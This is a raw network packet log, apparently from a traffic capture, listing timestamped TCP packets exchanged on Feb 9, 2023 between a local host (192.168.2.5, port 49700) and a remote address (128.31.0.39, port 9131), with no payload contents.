Feb 9, 2023 00:59:59.244914055 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244949102 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244970083 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244997978 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.244997978 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245045900 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245065928 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245085955 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245094061 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245121002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245142937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245150089 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245250940 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245254040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245311975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245345116 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245352983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245378017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245405912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245434999 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245436907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245466948 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245496035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245517015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245546103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245565891 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245594025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245624065 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245625973 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245646954 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245650053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245676041 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245695114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245714903 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245740891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245785952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245815039 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245835066 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245858908 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245879889 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245950937 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.245995998 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.245999098 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246021032 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246047974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246068001 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246083975 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.246148109 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246181965 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246212006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246232986 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246253967 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246280909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.246289968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.246289968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.246289968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.246311903 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.246316910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.247234106 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338112116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338145018 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338166952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338187933 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338210106 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338228941 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338248968 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338268042 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338285923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338304996 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338327885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338346958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338361025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338385105 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338447094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338452101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338452101 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338486910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338540077 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338561058 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338583946 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338637114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338656902 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338669062 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338676929 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338707924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.338743925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338743925 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.338982105 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339056015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339093924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339128971 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339163065 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339164972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339200020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339202881 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339226961 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339236975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339272976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339308977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339334965 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339344025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339369059 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339379072 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339417934 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339452028 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339462042 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339488983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339528084 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339652061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339715958 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339766979 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339804888 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339817047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339864016 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339895964 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.339906931 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.339943886 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340008020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340034008 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340143919 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340183020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340217113 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340254068 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340286970 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340289116 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340325117 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340359926 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340388060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340398073 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340426922 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340434074 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340476990 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340508938 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340557098 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340593100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340627909 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340662956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340688944 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340698957 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340735912 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340761900 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340771914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340810061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340847015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340883017 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.340929031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340929031 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.340976000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341013908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341048956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341048956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341087103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341120005 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341123104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341161966 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341198921 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341227055 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341236115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341262102 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341275930 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341312885 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341350079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341384888 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341386080 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341417074 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341423035 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341461897 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341497898 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341533899 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341562986 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341567993 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341604948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341640949 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341676950 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341677904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341716051 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341732025 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341753006 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341789007 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341793060 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341825008 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341861010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341864109 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341901064 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341939926 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.341950893 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.341990948 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342025995 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342025995 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342062950 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342097998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342103958 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342135906 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342174053 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342478037 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342562914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342616081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342653036 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342669010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342717886 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342751980 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342794895 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342827082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342840910 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342876911 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342914104 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342921972 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342957973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.342988968 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.342992067 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343027115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343060017 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343060970 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343110085 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343149900 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343163967 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343213081 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343264103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343300104 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343316078 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343339920 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343364000 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343415976 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343447924 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343466997 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343508005 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343543053 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343578100 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343584061 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343617916 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343647003 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343652010 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343679905 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343686104 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343729019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343761921 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343765020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343799114 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343822956 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343833923 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343873024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343908072 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.343924999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.343976021 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344008923 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344023943 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344073057 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344090939 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344124079 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344173908 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344223022 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344266891 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344273090 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344285011 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344326019 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344362020 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344388008 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344398975 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344434977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344461918 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344470024 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344512939 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344561100 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344609976 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344614983 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344661951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344696045 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344697952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344738960 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344764948 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344775915 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344818115 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344852924 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344862938 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344890118 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344923019 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344923973 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.344952106 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.344959974 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345000029 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345031023 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345096111 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345149040 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345201015 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345205069 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345257044 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345293045 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345329046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345350027 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345397949 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345402956 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345441103 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345467091 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345504999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345541954 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345577002 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345612049 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345642090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345642090 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345644951 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345680952 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345722914 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345750093 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345757961 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345818043 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345839977 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345889091 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345921993 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345926046 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345962048 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.345988035 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.345997095 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346031904 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346065998 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346098900 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346100092 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346137047 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346163034 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346172094 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346198082 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346208096 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346242905 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346276999 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346298933 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346314907 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346343040 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346366882 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346420050 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346447945 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346472025 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346520901 CET	9131	49700	128.31.0.39	192.168.2.5
Feb 9, 2023 00:59:59.346550941 CET	49700	9131	192.168.2.5	128.31.0.39
Feb 9, 2023 00:59:59.346571922 CET	9131	49700	128.31.0.39	192.168.2.5
